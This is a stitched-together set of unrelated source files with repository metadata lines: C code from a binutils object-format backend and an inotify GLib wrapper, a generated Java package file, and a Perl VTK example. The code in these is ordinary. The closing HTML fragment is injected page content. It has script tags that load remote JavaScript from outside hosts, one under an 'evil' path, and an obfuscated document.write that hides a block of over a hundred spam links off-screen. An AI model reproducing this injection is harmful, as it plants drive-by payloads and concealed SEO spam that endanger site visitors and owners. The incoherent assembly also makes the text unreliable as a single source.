H_PUT_32 (abfd, s->vma, out.vma);
if (! oasys_write_record (abfd,
oasys_record_is_section_enum,
(oasys_record_union_type *) & out,
sizeof (out)))
return FALSE;
}
return TRUE;
}
static bfd_boolean
oasys_write_header (bfd *abfd)
{
/* Create and write the header. */
oasys_header_record_type r;
size_t length = strlen (abfd->filename);
if (length > (size_t) sizeof (r.module_name))
length = sizeof (r.module_name);
(void) memcpy (r.module_name, abfd->filename, length);
(void) memset (r.module_name + length, ' ', sizeof (r.module_name) - length);
r.version_number = OASYS_VERSION_NUMBER;
r.rev_number = OASYS_REV_NUMBER;
return oasys_write_record (abfd, oasys_record_is_header_enum,
(oasys_record_union_type *) & r,
offsetof (oasys_header_record_type,
description[0]));
}
static bfd_boolean
oasys_write_end (bfd *abfd)
{
oasys_end_record_type end;
unsigned char null = 0;
end.relb = RELOCATION_TYPE_ABS;
H_PUT_32 (abfd, abfd->start_address, end.entry);
H_PUT_16 (abfd, 0, end.fill);
end.zero = 0;
if (! oasys_write_record (abfd,
oasys_record_is_end_enum,
(oasys_record_union_type *) & end,
sizeof (end)))
return FALSE;
return bfd_bwrite ((void *) &null, (bfd_size_type) 1, abfd) == 1;
}
static int
comp (const void * ap, const void * bp)
{
arelent *a = *((arelent **) ap);
arelent *b = *((arelent **) bp);
return a->address - b->address;
}
static bfd_boolean
oasys_write_data (bfd *abfd)
{
asection *s;
for (s = abfd->sections; s != NULL; s = s->next)
{
if (s->flags & SEC_LOAD)
{
bfd_byte *raw_data = oasys_per_section (s)->data;
oasys_data_record_type processed_data;
bfd_size_type current_byte_index = 0;
unsigned int relocs_to_go = s->reloc_count;
arelent **p = s->orelocation;
if (s->reloc_count != 0)
/* Sort the reloc records so it's easy to insert the relocs into the
data. */
qsort (s->orelocation, s->reloc_count, sizeof (arelent **), comp);
current_byte_index = 0;
processed_data.relb = s->target_index | RELOCATION_TYPE_REL;
while (current_byte_index < s->size)
{
/* Scan forwards by eight bytes or however much is left and see if
there are any relocations going on. */
bfd_byte *mod = &processed_data.data[0];
bfd_byte *dst = &processed_data.data[1];
unsigned int i = 0;
*mod = 0;
H_PUT_32 (abfd, s->vma + current_byte_index,
processed_data.addr);
/* Don't start a relocation unless you're sure you can finish it
within the same data record. The worst case relocation is a
4-byte relocatable value which is split across two modification
bytes (1 relocation byte + 2 symbol reference bytes + 2 data +
1 modification byte + 2 data = 8 bytes total). That's where
the magic number 8 comes from. */
while (current_byte_index < s->size && dst <=
& processed_data.data[sizeof (processed_data.data) - 8])
{
if (relocs_to_go != 0)
{
arelent *r = *p;
/* There is a relocation, is it for this byte ? */
if (r->address == current_byte_index)
abort ();
}
/* If this is coming from an unloadable section then copy
zeros. */
if (raw_data == NULL)
*dst++ = 0;
else
*dst++ = *raw_data++;
if (++i >= 8)
{
i = 0;
mod = dst++;
*mod = 0;
}
current_byte_index++;
}
/* Don't write a useless null modification byte. */
if (dst == mod + 1)
--dst;
if (! (oasys_write_record
(abfd, oasys_record_is_data_enum,
((oasys_record_union_type *) &processed_data),
(size_t) (dst - (bfd_byte *) &processed_data))))
return FALSE;
}
}
}
return TRUE;
}
static bfd_boolean
oasys_write_object_contents (bfd *abfd)
{
if (! oasys_write_header (abfd))
return FALSE;
if (! oasys_write_syms (abfd))
return FALSE;
if (! oasys_write_sections (abfd))
return FALSE;
if (! oasys_write_data (abfd))
return FALSE;
if (! oasys_write_end (abfd))
return FALSE;
return TRUE;
}
/* Set section contents is complicated with OASYS since the format is
not a byte image, but a record stream. */
static bfd_boolean
oasys_set_section_contents (bfd *abfd,
sec_ptr section,
const void * location,
file_ptr offset,
bfd_size_type count)
{
if (count != 0)
{
if (oasys_per_section (section)->data == NULL)
{
oasys_per_section (section)->data = bfd_alloc (abfd, section->size);
if (!oasys_per_section (section)->data)
return FALSE;
}
(void) memcpy ((void *) (oasys_per_section (section)->data + offset),
location, (size_t) count);
}
return TRUE;
}
/* Native-level interface to symbols. */
/* We read the symbols into a buffer, which is discarded when this
function exits. We read the strings into a buffer large enough to
hold them all plus all the cached symbol entries. */
static asymbol *
oasys_make_empty_symbol (bfd *abfd)
{
bfd_size_type amt = sizeof (oasys_symbol_type);
oasys_symbol_type *new_symbol_type = bfd_zalloc (abfd, amt);
if (!new_symbol_type)
return NULL;
new_symbol_type->symbol.the_bfd = abfd;
return &new_symbol_type->symbol;
}
/* User should have checked the file flags; perhaps we should return
BFD_NO_MORE_SYMBOLS if there are none? */
static bfd *
oasys_openr_next_archived_file (bfd *arch, bfd *prev)
{
oasys_ar_data_type *ar = OASYS_AR_DATA (arch);
oasys_module_info_type *p;
/* Take the next one from the arch state, or reset. */
if (prev == NULL)
/* Reset the index - the first two entries are bogus. */
ar->module_index = 0;
p = ar->module + ar->module_index;
ar->module_index++;
if (ar->module_index <= ar->module_count)
{
if (p->abfd == NULL)
{
p->abfd = _bfd_create_empty_archive_element_shell (arch);
p->abfd->origin = p->pos;
p->abfd->filename = p->name;
/* Fixup a pointer to this element for the member. */
p->abfd->arelt_data = (void *) p;
}
return p->abfd;
}
bfd_set_error (bfd_error_no_more_archived_files);
return NULL;
}
static bfd_boolean
oasys_find_nearest_line (bfd *abfd ATTRIBUTE_UNUSED,
asection *section ATTRIBUTE_UNUSED,
asymbol **symbols ATTRIBUTE_UNUSED,
bfd_vma offset ATTRIBUTE_UNUSED,
const char **filename_ptr ATTRIBUTE_UNUSED,
const char **functionname_ptr ATTRIBUTE_UNUSED,
unsigned int *line_ptr ATTRIBUTE_UNUSED)
{
return FALSE;
}
static bfd_boolean
oasys_find_inliner_info (bfd *abfd ATTRIBUTE_UNUSED,
const char **filename_ptr ATTRIBUTE_UNUSED,
const char **functionname_ptr ATTRIBUTE_UNUSED,
unsigned int *line_ptr ATTRIBUTE_UNUSED)
{
return FALSE;
}
static int
oasys_generic_stat_arch_elt (bfd *abfd, struct stat *buf)
{
oasys_module_info_type *mod = (oasys_module_info_type *) abfd->arelt_data;
if (mod == NULL)
{
bfd_set_error (bfd_error_invalid_operation);
return -1;
}
buf->st_size = mod->size;
buf->st_mode = 0666;
return 0;
}
static int
oasys_sizeof_headers (bfd *abfd ATTRIBUTE_UNUSED,
struct bfd_link_info *info ATTRIBUTE_UNUSED)
{
return 0;
}
#define oasys_close_and_cleanup _bfd_generic_close_and_cleanup
#define oasys_bfd_free_cached_info _bfd_generic_bfd_free_cached_info
#define oasys_slurp_armap bfd_true
#define oasys_slurp_extended_name_table bfd_true
#define oasys_construct_extended_name_table ((bfd_boolean (*) (bfd *, char **, bfd_size_type *, const char **)) bfd_true)
#define oasys_truncate_arname bfd_dont_truncate_arname
#define oasys_write_armap ((bfd_boolean (*) (bfd *, unsigned int, struct orl *, unsigned int, int)) bfd_true)
#define oasys_read_ar_hdr bfd_nullvoidptr
#define oasys_write_ar_hdr ((bfd_boolean (*) (bfd *, bfd *)) bfd_false)
#define oasys_get_elt_at_index _bfd_generic_get_elt_at_index
#define oasys_update_armap_timestamp bfd_true
#define oasys_bfd_is_local_label_name bfd_generic_is_local_label_name
#define oasys_bfd_is_target_special_symbol ((bfd_boolean (*) (bfd *, asymbol *)) bfd_false)
#define oasys_get_lineno _bfd_nosymbols_get_lineno
#define oasys_bfd_make_debug_symbol _bfd_nosymbols_bfd_make_debug_symbol
#define oasys_read_minisymbols _bfd_generic_read_minisymbols
#define oasys_minisymbol_to_symbol _bfd_generic_minisymbol_to_symbol
#define oasys_bfd_reloc_type_lookup _bfd_norelocs_bfd_reloc_type_lookup
#define oasys_bfd_reloc_name_lookup _bfd_norelocs_bfd_reloc_name_lookup
#define oasys_set_arch_mach bfd_default_set_arch_mach
#define oasys_get_section_contents_in_window _bfd_generic_get_section_contents_in_window
#define oasys_bfd_get_relocated_section_contents bfd_generic_get_relocated_section_contents
#define oasys_bfd_relax_section bfd_generic_relax_section
#define oasys_bfd_gc_sections bfd_generic_gc_sections
#define oasys_bfd_merge_sections bfd_generic_merge_sections
#define oasys_bfd_is_group_section bfd_generic_is_group_section
#define oasys_bfd_discard_group bfd_generic_discard_group
#define oasys_section_already_linked _bfd_generic_section_already_linked
#define oasys_bfd_define_common_symbol bfd_generic_define_common_symbol
#define oasys_bfd_link_hash_table_create _bfd_generic_link_hash_table_create
#define oasys_bfd_link_hash_table_free _bfd_generic_link_hash_table_free
#define oasys_bfd_link_add_symbols _bfd_generic_link_add_symbols
#define oasys_bfd_link_just_syms _bfd_generic_link_just_syms
#define oasys_bfd_copy_link_hash_symbol_type \
_bfd_generic_copy_link_hash_symbol_type
#define oasys_bfd_final_link _bfd_generic_final_link
#define oasys_bfd_link_split_section _bfd_generic_link_split_section
const bfd_target oasys_vec =
{
"oasys", /* Name. */
bfd_target_oasys_flavour,
BFD_ENDIAN_BIG, /* Target byte order. */
BFD_ENDIAN_BIG, /* Target headers byte order. */
(HAS_RELOC | EXEC_P | /* Object flags. */
HAS_LINENO | HAS_DEBUG |
HAS_SYMS | HAS_LOCALS | WP_TEXT | D_PAGED),
(SEC_CODE | SEC_DATA | SEC_ROM | SEC_HAS_CONTENTS
| SEC_ALLOC | SEC_LOAD | SEC_RELOC), /* Section flags. */
0, /* Leading underscore. */
' ', /* AR_pad_char. */
16, /* AR_max_namelen. */
bfd_getb64, bfd_getb_signed_64, bfd_putb64,
bfd_getb32, bfd_getb_signed_32, bfd_putb32,
bfd_getb16, bfd_getb_signed_16, bfd_putb16, /* Data. */
bfd_getb64, bfd_getb_signed_64, bfd_putb64,
bfd_getb32, bfd_getb_signed_32, bfd_putb32,
bfd_getb16, bfd_getb_signed_16, bfd_putb16, /* Headers. */
{_bfd_dummy_target,
oasys_object_p, /* bfd_check_format. */
oasys_archive_p,
_bfd_dummy_target,
},
{ /* bfd_set_format. */
bfd_false,
oasys_mkobject,
_bfd_generic_mkarchive,
bfd_false
},
{ /* bfd_write_contents. */
bfd_false,
oasys_write_object_contents,
_bfd_write_archive_contents,
bfd_false,
},
BFD_JUMP_TABLE_GENERIC (oasys),
BFD_JUMP_TABLE_COPY (_bfd_generic),
BFD_JUMP_TABLE_CORE (_bfd_nocore),
BFD_JUMP_TABLE_ARCHIVE (oasys),
BFD_JUMP_TABLE_SYMBOLS (oasys),
BFD_JUMP_TABLE_RELOCS (oasys),
BFD_JUMP_TABLE_WRITE (oasys),
BFD_JUMP_TABLE_LINK (oasys),
BFD_JUMP_TABLE_DYNAMIC (_bfd_nodynamic),
NULL,
NULL
};
|
myri/lanai-gdb
|
bfd/oasys.c
|
C
|
gpl-2.0
| 35,005
|
/*
* inotify-glib.c - backend for really simple inotify example
*
* Based on https://www.kernel.org/pub/linux/kernel/people/rml/inotify/glib/
* By Robert Love <rml@novell.com>
* Changes by Miguel Azevedo <migullazev@gmail.com>
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <glib.h>
#include <sys/inotify.h>
#include "inotify-glib.h"
/*
* inf_open - open the inotify device and return a fresh GIOChannel
* or NULL on error.
*/
GIOChannel *
inf_open (void)
{
int fd = 0;
GIOChannel *gio = NULL;
GError *err = NULL;
fd = inotify_init1 (IN_NONBLOCK);
if (fd < 0)
{
perror ("inotify_init");
}
gio = g_io_channel_unix_new (fd);
if (!gio)
{
g_warning ("Couldn't open GIOChannel %s\n", err->message);
g_error_free (err);
}
return gio;
}
/*
* inf_close - close the GIOChannel
*/
void
inf_close (GIOChannel *gio)
{
GError *err = NULL;
GIOStatus status = g_io_channel_shutdown (gio, TRUE, &err);
if (status == G_IO_STATUS_ERROR)
{
g_warning ("Couldn't close GIOChannel %s\n", err->message);
g_error_free (err);
}
}
/*
* inf_add_watch - Add an inotify watch on the object "name" to the
* open inotify instance associated with "gio". The user may do this any
* number of times, even on the same device instance.
*/
int
inf_add_watch (GIOChannel *gio, const char *name, uint32_t mask)
{
int in_fd, wd;
in_fd = g_io_channel_unix_get_fd (gio);
wd = inotify_add_watch (in_fd, name, mask);
if (wd < 0)
{
perror ("inotify_add_watch error!\n");
return -1;
}
return wd;
}
/*
* inf_rm_watch - A guiven inotify watch is removed.
*/
int
inf_rm_watch (GIOChannel *gio, int wd)
{
int in_fd, ret;
in_fd = g_io_channel_unix_get_fd (gio);
ret = inotify_rm_watch (in_fd, wd);
if (ret < 0)
{
perror ("inotify_rm_watch error!\n");
return ret;
}
return ret;
}
/* inotify lets us slurp a lot of events at once. we go with a nice big 32k */
#define INOTIFY_BUF 32768
/*
* __inotify_handle_cb - our internal GIOChannel G_IO_IN callback. Slurps as
* many events as are available and calls the user's callback (given as "data")
* for each event. If any invocations of the user's callback return FALSE, so
* do we, terminating this watch. Otherwise, we return TRUE.
*/
static gboolean
__inotify_handle_cb (GIOChannel *gio, GIOCondition condition, gpointer data)
{
char buf[INOTIFY_BUF];
InotifyCb f = data;
GError* err = NULL;
gsize len = 0;
int i = 0;
/* read in as many pending events as we can */
g_io_channel_read_chars (gio, buf, INOTIFY_BUF, &len, &err);
if (err != NULL)
{
g_warning ("Error reading the inotify fd: %s\n", err->message);
return FALSE;
}
/* reconstruct each event and send to the user's callback */
while (i < len)
{
const char *name = "The watch";
struct inotify_event *event;
event = (struct inotify_event *) &buf[i];
if (event->len)
name = &buf[i] + sizeof (struct inotify_event);
if (f (name, event->wd, event->mask, event->cookie) == FALSE)
return FALSE;
i += sizeof (struct inotify_event) + event->len;
}
return TRUE;
}
/*
* inf_callback - associate a user InotifyCb callback with the given
* GIOChannel. This is normally done but once.
*/
void
inf_callback (GIOChannel *gio, InotifyCb f)
{
g_io_add_watch (gio, G_IO_IN, __inotify_handle_cb, f);
}
|
mlaz/inotify-glib
|
src/inotify-glib.c
|
C
|
gpl-2.0
| 3,461
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.3-hudson-jaxb-ri-2.2.3-3-
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2011.04.29 at 01:38:32 PM MESZ
//
@javax.xml.bind.annotation.XmlSchema(namespace = "http://ch/mitoco/store/generated", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED)
package ch.mitoco.store.generated;
|
steffe/MT4J_KTSI
|
ktsi/ch/mitoco/store/generated/package-info.java
|
Java
|
gpl-2.0
| 556
|
#!/usr/local/bin/perl -w
#
use Graphics::VTK;
use Tk;
use Graphics::VTK::Tk;
$MW = Tk::MainWindow->new;
$VTK_DATA = 0;
$VTK_DATA = $ENV{VTK_DATA};
# get the interactor ui
use Graphics::VTK::Tk::vtkInt;
# Create the RenderWindow, Renderer and both Actors
$ren1 = Graphics::VTK::Renderer->new;
$ren2 = Graphics::VTK::Renderer->new;
$renWin = Graphics::VTK::RenderWindow->new;
$renWin->AddRenderer($ren1);
$renWin->AddRenderer($ren2);
$iren = Graphics::VTK::RenderWindowInteractor->new;
$iren->SetRenderWindow($renWin);
# create pipeline
$pl3d = Graphics::VTK::PLOT3DReader->new;
$pl3d->SetXYZFileName("$VTK_DATA/combxyz.bin");
$pl3d->SetQFileName("$VTK_DATA/combq.bin");
$pl3d->SetScalarFunctionNumber(110);
$pl3d->SetVectorFunctionNumber(202);
$pl3d->Update;
$probeLine = Graphics::VTK::LineSource->new;
$probeLine->SetPoint1(1,1,29);
$probeLine->SetPoint2(16.5,5,31.7693);
$probeLine->SetResolution(500);
$probe = Graphics::VTK::ProbeFilter->new;
$probe->SetInput($probeLine->GetOutput);
$probe->SetSource($pl3d->GetOutput);
$probeTube = Graphics::VTK::TubeFilter->new;
$probeTube->SetInput($probe->GetPolyDataOutput);
$probeTube->SetNumberOfSides(5);
$probeTube->SetRadius('.05');
$probeMapper = Graphics::VTK::PolyDataMapper->new;
$probeMapper->SetInput($probeTube->GetOutput);
$probeMapper->SetScalarRange($pl3d->GetOutput->GetScalarRange);
$probeActor = Graphics::VTK::Actor->new;
$probeActor->SetMapper($probeMapper);
$displayLine = Graphics::VTK::LineSource->new;
$displayLine->SetPoint1(0,0,0);
$displayLine->SetPoint2(1,0,0);
$displayLine->SetResolution($probeLine->GetResolution);
$displayMerge = Graphics::VTK::MergeFilter->new;
$displayMerge->SetGeometry($displayLine->GetOutput);
$displayMerge->SetScalars($probe->GetPolyDataOutput);
$displayWarp = Graphics::VTK::WarpScalar->new;
$displayWarp->SetInput($displayMerge->GetPolyDataOutput);
$displayWarp->SetNormal(0,1,0);
$displayWarp->SetScaleFactor('.000001');
$displayMapper = Graphics::VTK::PolyDataMapper->new;
$displayMapper->SetInput($displayWarp->GetPolyDataOutput);
$displayMapper->SetScalarRange($pl3d->GetOutput->GetScalarRange);
$displayActor = Graphics::VTK::Actor->new;
$displayActor->SetMapper($displayMapper);
$outline = Graphics::VTK::StructuredGridOutlineFilter->new;
$outline->SetInput($pl3d->GetOutput);
$outlineMapper = Graphics::VTK::PolyDataMapper->new;
$outlineMapper->SetInput($outline->GetOutput);
$outlineActor = Graphics::VTK::Actor->new;
$outlineActor->SetMapper($outlineMapper);
$outlineActor->GetProperty->SetColor(0,0,0);
$ren1->AddActor($outlineActor);
$ren1->AddActor($probeActor);
$ren1->SetBackground(1,1,1);
$ren1->SetViewport(0,'.25',1,1);
$ren2->AddActor($displayActor);
$ren2->SetBackground(0,0,0);
$ren2->SetViewport(0,0,1,'.25');
$renWin->SetSize(500,500);
$cam1 = $ren1->GetActiveCamera;
$cam1->SetClippingRange(3.95297,50);
$cam1->SetFocalPoint(8.88908,0.595038,29.3342);
$cam1->SetPosition(9.9,-26,41);
$cam1->ComputeViewPlaneNormal;
$cam1->SetViewUp(0.060772,-0.319905,0.945498);
$cam2 = $ren2->GetActiveCamera;
$cam2->ParallelProjectionOn;
$cam2->SetParallelScale('.15');
$iren->Initialize;
#renWin SetFileName "mergeFilter.tcl.ppm"
#renWin SaveImageAsPPM
# render the image
$iren->SetUserMethod(
sub
{
$MW->{'.vtkInteract'}->deiconify;
}
);
# prevent the tk window from showing up then start the event loop
$MW->withdraw;
Graphics::VTK::Tk::vtkInt::vtkInteract($MW);
Tk->MainLoop;
|
paultcochrane/Graphics-VTK
|
examples/old_examples/graphics/mergeFilter.pl
|
Perl
|
gpl-2.0
| 3,403
|
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
<a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a>
<a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a>
<a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a>
<a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a>
<a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a>
<a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a>
<a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a>
<a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a>
<a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a>
<a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a>
<a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a>
<a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a>
<a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a>
<a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a>
<a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a>
<a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a>
<a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a>
<a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a>
<a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a>
<a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a>
<a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a>
<a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a>
<a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a>
<a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a>
<a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a>
<a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a>
<a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a>
<a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a>
<a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a>
<a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a>
<a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a>
<a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a>
